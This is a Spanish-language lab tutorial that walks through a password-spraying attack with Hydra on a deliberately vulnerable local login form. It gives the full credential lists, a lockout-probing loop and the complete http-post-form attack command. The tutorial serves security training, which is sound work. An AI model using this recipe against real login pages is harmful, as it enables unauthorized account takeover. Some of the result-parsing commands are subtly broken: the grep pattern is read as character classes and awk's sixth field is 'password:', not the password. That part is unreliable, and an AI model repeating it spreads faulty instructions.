Spray de contraseñas en Hydra

Introducción

En este laboratorio, aprenderás cómo realizar ataques de password spraying (spray de contraseñas) utilizando Hydra, una herramienta versátil de ciberseguridad para pruebas de fuerza bruta. Explorarás el proceso de configuración de Hydra, la creación de listas de credenciales y la ejecución de ataques dirigidos contra formularios de autenticación web.

El laboratorio ofrece experiencia práctica en la configuración de parámetros de ataque, el análisis de resultados y la identificación de credenciales débiles. A través de ejercicios prácticos, obtendrás información sobre las vulnerabilidades comunes de autenticación y las estrategias defensivas.

Instalar Hydra

En este paso, instalarás Hydra, una herramienta potente y flexible para descifrar contraseñas que los profesionales de seguridad utilizan para probar la seguridad de los sistemas. Hydra puede realizar ataques de fuerza bruta contra muchos servicios de red diferentes, como sitios web (HTTP), transferencias de archivos (FTP) y shells seguras (SSH). Comprender cómo funcionan estas herramientas te ayuda a proteger mejor los sistemas contra ataques.

Primero, necesitamos actualizar la lista de paquetes de tu sistema. Esto garantiza que instalarás la última versión disponible de Hydra:
```
sudo apt update
```
El comando sudo te otorga privilegios de administrador, mientras que apt update actualiza la lista de paquetes de software disponibles.
Ahora instala Hydra con este sencillo comando:
```
sudo apt install hydra -y
```
La opción -y responde automáticamente "sí" a cualquier solicitud durante la instalación, lo que hace el proceso más fluido.
Después de la instalación, verifiquemos que Hydra esté funcionando correctamente comprobando su versión:
```
hydra -v
```
Deberías ver una salida similar a:
```
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
```
Esta comprobación de versión confirma que Hydra está instalado correctamente y listo para usar.
Para características avanzadas y un mejor rendimiento con protocolos específicos, instala estas dependencias opcionales:
```
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y
```
Estas bibliotecas permiten que Hydra funcione con servicios adicionales como bases de datos (MySQL, PostgreSQL) y sistemas de control de versiones (Subversion).

Preparar listas de usuarios y contraseñas

En este paso, crearás los archivos de texto esenciales que Hydra necesita para realizar un ataque de password spraying (spray de contraseñas). Estos archivos contienen posibles nombres de usuario y contraseñas que Hydra probará sistemáticamente en el formulario web objetivo. El password spraying consiste en probar algunas contraseñas comunes en muchas cuentas de usuario, lo que ayuda a evitar el bloqueo de cuentas que ocurre cuando se intentan muchas contraseñas en una sola cuenta.

Primero, navega hasta el directorio de tu proyecto donde almacenaremos nuestros archivos. Esto mantiene todo organizado en un solo lugar:
```
cd ~/project
```
Ahora crearemos un archivo que contenga nombres de usuario comunes. Estos son nombres de cuenta típicos que pueden existir en un sistema. Usaremos el editor de texto nano para crear y editar el archivo:
```
nano users.txt
```
Agrega los siguientes nombres de usuario comunes, uno por línea:
```
admin
administrator
user
test
guest
root
```
A continuación, crearemos un archivo de lista de contraseñas. Estas son contraseñas débiles que los usuarios pueden establecer, lo que las convierte en buenas candidatas para las pruebas. Nuevamente, usando nano:
```
nano passwords.txt
```
Agrega estas contraseñas de uso común, cada una en su propia línea:
```
password
123456
admin
letmein
welcome
qwerty
```
Después de crear ambos archivos, verifiquemos que existan en nuestro directorio. El comando ls -l muestra información detallada de los archivos, incluyendo cuándo se crearon y sus tamaños:
```
ls -l
```
Deberías ver tanto users.txt como passwords.txt enumerados en la salida.
Finalmente, veamos el contenido real de cada archivo para asegurarnos de que se hayan creado correctamente. El comando cat muestra el contenido de los archivos directamente en la terminal:
```
cat users.txt
cat passwords.txt
```

Apuntar a un formulario web

En este paso, identificarás y analizarás un formulario web objetivo para un ataque de password spraying (spray de contraseñas). Utilizaremos una aplicación web deliberadamente vulnerable que se ejecuta en http://localhost:8080 para este ejercicio. El password spraying consiste en probar algunas contraseñas comunes en muchas cuentas de usuario, por lo que es crucial entender la estructura del formulario de inicio de sesión antes de lanzar el ataque.

Primero, verifica que la aplicación web objetivo esté en funcionamiento:
```
curl -I http://localhost:8080/login
```
La opción -I le dice a curl que solo recupere las cabeceras HTTP. Deberías ver un estado 200 OK que confirme que la página de inicio de sesión es accesible. Si obtienes un error de conexión, asegúrate de que el servidor web esté en funcionamiento antes de continuar.
Examina la estructura del formulario de inicio de sesión viendo el código fuente de la página:
```
curl http://localhost:8080/login | grep -A5 -B5 "form"
```
Este comando recupera el contenido HTML y muestra 5 líneas antes y después de cualquier etiqueta <form>. Busca el atributo action del formulario (a donde se envían los datos) y los nombres de los campos de entrada - estos suelen llamarse username y password, pero pueden variar.
Crea un archivo de solicitud de prueba para documentar los parámetros del formulario:
```
nano form_test.txt
```
Agrega este contenido para registrar los detalles clave que Hydra necesitará:
```
Target URL: http://localhost:8080/login
Method: POST
Username field: username
Password field: password
Failure indicator: "Invalid credentials"
```
El indicador de fallo ayuda a Hydra a reconocer cuándo los intentos de inicio de sesión fallan. Usaremos este archivo más adelante para configurar nuestro ataque.
Prueba el formulario manualmente con un par de credenciales:
```
curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v
```
-X POST especifica el método HTTP, mientras que -d envía los datos del formulario. La opción -v muestra una salida detallada para que puedas verificar la respuesta "Invalid credentials". Esto confirma que el formulario funciona como se espera con inicios de sesión fallidos.
Comprueba las políticas de bloqueo de cuentas enviando 5 solicitudes rápidas:
```
for i in {1..5}; do
  curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
done
```
Este bucle envía 5 intentos fallidos rápidamente. Observa si el código de estado HTTP cambia de 200 (éxito) a 403 (prohibido), lo que indicaría protecciones de bloqueo. Las aplicaciones del mundo real a menudo tienen estas salvaguardias, pero nuestro entorno de prueba no las tiene.

Realizar un ataque de spray de contraseñas

En este paso, ejecutarás un ataque de password spraying (spray de contraseñas) contra el formulario web objetivo utilizando Hydra con las listas de usuarios y contraseñas que preparaste anteriormente. El password spraying es una técnica en la que se prueban un pequeño número de contraseñas comunes en muchas cuentas de usuario, lo que ayuda a evitar el bloqueo de cuentas que podría ocurrir con ataques de fuerza bruta tradicionales.

Primero, navega hasta el directorio de tu proyecto donde se almacenan tus listas de usuarios y contraseñas:
```
cd ~/project
```
Ahora ejecutaremos Hydra con parámetros cuidadosamente seleccionados. Este comando le dice a Hydra que pruebe cada contraseña de tu lista contra cada nombre de usuario, utilizando la página de inicio de sesión del formulario web como objetivo:
```
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV
```
Analicemos lo que hace cada parámetro:
- -L users.txt: Apunta a tu lista de nombres de usuario (uno por línea)
- -P passwords.txt: Apunta a tu lista de contraseñas a probar
- http-post-form: Especifica que estamos atacando un formulario web utilizando el método POST
- /login:...: Define la estructura del formulario - la parte después de los dos puntos le dice a Hydra cómo reconocer los intentos fallidos
- -t 4: Ejecuta 4 conexiones en paralelo para acelerar el ataque
- -vV: Proporciona una salida detallada para que puedas ver el progreso
Mientras Hydra se ejecuta, observa detenidamente la salida. Cuando Hydra encuentre credenciales válidas, las mostrará claramente de esta manera:
```
[80][http-post-form] host: localhost   login: admin   password: admin
```

Para guardar tus resultados para documentación o análisis adicional, ejecuta Hydra con el parámetro -o:

hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt

Después de que el ataque se complete, puedes ver los resultados guardados con:
```
cat results.txt
```
Este archivo contendrá todas las combinaciones de inicio de sesión exitosas encontradas durante el ataque.

Analizar los resultados

En este paso, analizarás los resultados de tu ataque de password spraying (spray de contraseñas) para identificar las credenciales comprometidas y comprender las implicaciones de seguridad. El password spraying es una técnica en la que los atacantes prueban algunas contraseñas comunes en muchas cuentas en lugar de muchas contraseñas en unas pocas cuentas.

Primero, examina el archivo de resultados sin procesar creado por Hydra. Este archivo contiene todos los intentos que realizó Hydra durante el ataque:
```
cat ~/project/results.txt
```
Busca líneas que contengan "[80][http-post-form]" que indican inicios de sesión exitosos. El número 80 se refiere al puerto HTTP, y http-post-form muestra que se trató de un envío de formulario web.
Para centrarte solo en los intentos exitosos, extrae solo las credenciales comprometidas a un nuevo archivo. El comando grep filtra las líneas que contienen el patrón de éxito:
```
grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
```
Cuenta el número de cuentas comprometidas para entender la escala de la vulnerabilidad. El comando wc (conteo de palabras) con la opción -l cuenta las líneas:
```
wc -l ~/project/compromised_creds.txt
```
Analiza los patrones de contraseñas generando una lista de frecuencia de contraseñas. Esto ayuda a identificar las contraseñas débiles que se usaron comúnmente:
```
awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr
```
El comando extrae el sexto campo (contraseña), los ordena, cuenta los duplicados y los ordena por frecuencia.

Crea un informe de seguridad que resuma los hallazgos clave. Este formato estructurado ayuda a documentar los resultados de manera clara:

echo "Password Spray Attack Results" > ~/project/security_report.txt
echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt

Visualiza el informe de seguridad final para ver los resultados compilados:
```
cat ~/project/security_report.txt
```

Resumen

En este laboratorio, has aprendido cómo realizar un ataque de password spraying (spray de contraseñas) utilizando Hydra en un sistema Linux. El proceso incluyó la instalación de la herramienta, la preparación de listas de credenciales y la configuración del ataque contra un formulario web.

También has explorado la funcionalidad básica de Hydra para realizar intentos de fuerza bruta en servicios de red. El laboratorio enfatizó técnicas adecuadas de configuración, como la creación de archivos de entrada estructurados y la comprensión de los parámetros esenciales de los comandos.